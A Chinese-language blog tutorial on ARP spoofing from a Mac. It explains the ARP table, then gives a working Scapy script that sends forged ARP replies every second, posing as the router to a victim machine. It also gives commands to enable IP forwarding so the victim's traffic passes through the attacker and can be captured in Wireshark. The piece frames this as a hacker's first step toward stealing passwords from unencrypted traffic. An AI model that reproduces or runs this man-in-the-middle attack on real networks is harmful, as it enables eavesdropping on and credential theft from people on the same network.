跳到主要內容

在 mac OS 上實現 ARP 欺騙

操作環境

攻擊電腦:

  • IP: 192.168.0.101
  • Operating System: macOS High Sierra 10.13.5
  • Hardware: MacBook Pro (13-inch, 2017, Four Thunderbolt 3 Ports)
  • Programming Language: Python 3.5.4
  • IDE: PyCharm 2018.1
  • WireShark: Version 2.6.0


被攻擊電腦:

  • IP: 192.168.0.102
  • Operating System: Windows 10
  • Hardware: ASUS S550CM


路由器:

  • IP: 192.168.0.1

說明:


當駭客的第一步,最常見的方法就是擷取別人的封包。假設A電腦連上一個未加密的網站,那這台電腦丟給這個網站的封包都會以明文傳送,這時候就很容易被有心人士竊聽封包,將你的帳號密碼全部竊取走!這也是為什麼現在越來越多網站都要提升安全性,將HTTP加密,成為HTTPS。

ARP:
全名為Address Resolution Protocol,為位址解析協定,在每一台電腦中都有一個ARP Table,儲存區域內的電腦 IP 及 MAC Address。通常 Host 會以廣播的方式詢問誰擁有某個 IP的實體位址,在此區域上的電腦,都會確認自己是不是與廣播中的相符,若一樣的話則回覆自己的MAC Address,反之則忽略。

而 ARP Table 儲存在 ARP Cache 中,裡面也有分動態記錄及靜態紀錄兩種:

動態記錄:
當一台電腦解析完 ARP 封包後,會將結果儲存在 ARP Cache中,以供後續使用。但為了避免網路黑洞的發生,所以紀錄的壽命時間通常為兩分鐘,若有被使用到,就會被延長為10分鐘。

靜態紀錄:
如果使用者知道對方的 IP 及 MAC Address 為何,就可以以手動的方式加入,就叫做靜態紀錄,但它的壽命比動態記錄長,只有重新開機、與動態記錄衝突、手動刪除才會消失。
設置靜態紀錄可以在終端機輸入:

arp -s IP MAC

步驟:

首先,必須要先下載 Scapy,它就很像是Wireshark,一樣可以截取封包,更厲害的是可以建立封包,以廣播或是指定 IP 的方式傳送。我們今天會使用它來創立ARP封包,打亂對方電腦的 ARP Table。

在終端機先輸入指令來查看當下的 ARP Cache:
arp -a
所以我們的路由器就是192.168.0.1。



Scapy Oficial  Website: https://scapy.net
Download Link: Scapy 2.4.0

打開你的 Python 編輯器,建立一個檔案,程式碼如下:

from scapy.all import *
import time

p=ARP()
p.op=2
p.psrc='192.168.0.1' # Router IP
p.pdst='192.168.0.102' # 被攻擊的電腦

while True:
    send(p)
    p.show()
    time.sleep(1)


這支程式會每隔一秒廣播 ARP 封包,讓目標物的封包轉傳到這部電腦中。
一但目標物收到這個封包後就會被斷網,所以我們要將攻擊電腦的 IP Forwarding 打開,才能順利連上網路。

On Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward


On Mac:
sudo sysctl -w net.inet.ip.forwarding=1


執行後程式開啟 WireShark,就可以截到封包了!


從封包內容來看,可以知道使用者正在連接到某個網站上。



Source:


  • http://opencourse.ndhu.edu.tw/pluginfile.php/813/mod_resource/content/0/course_files/Exp5_ARP.pdf
  • http://www.cjmff.com/arp欺骗(python)/
  • http://epaper.gotop.com.tw/PDFSample/ACL044400.pdf

留言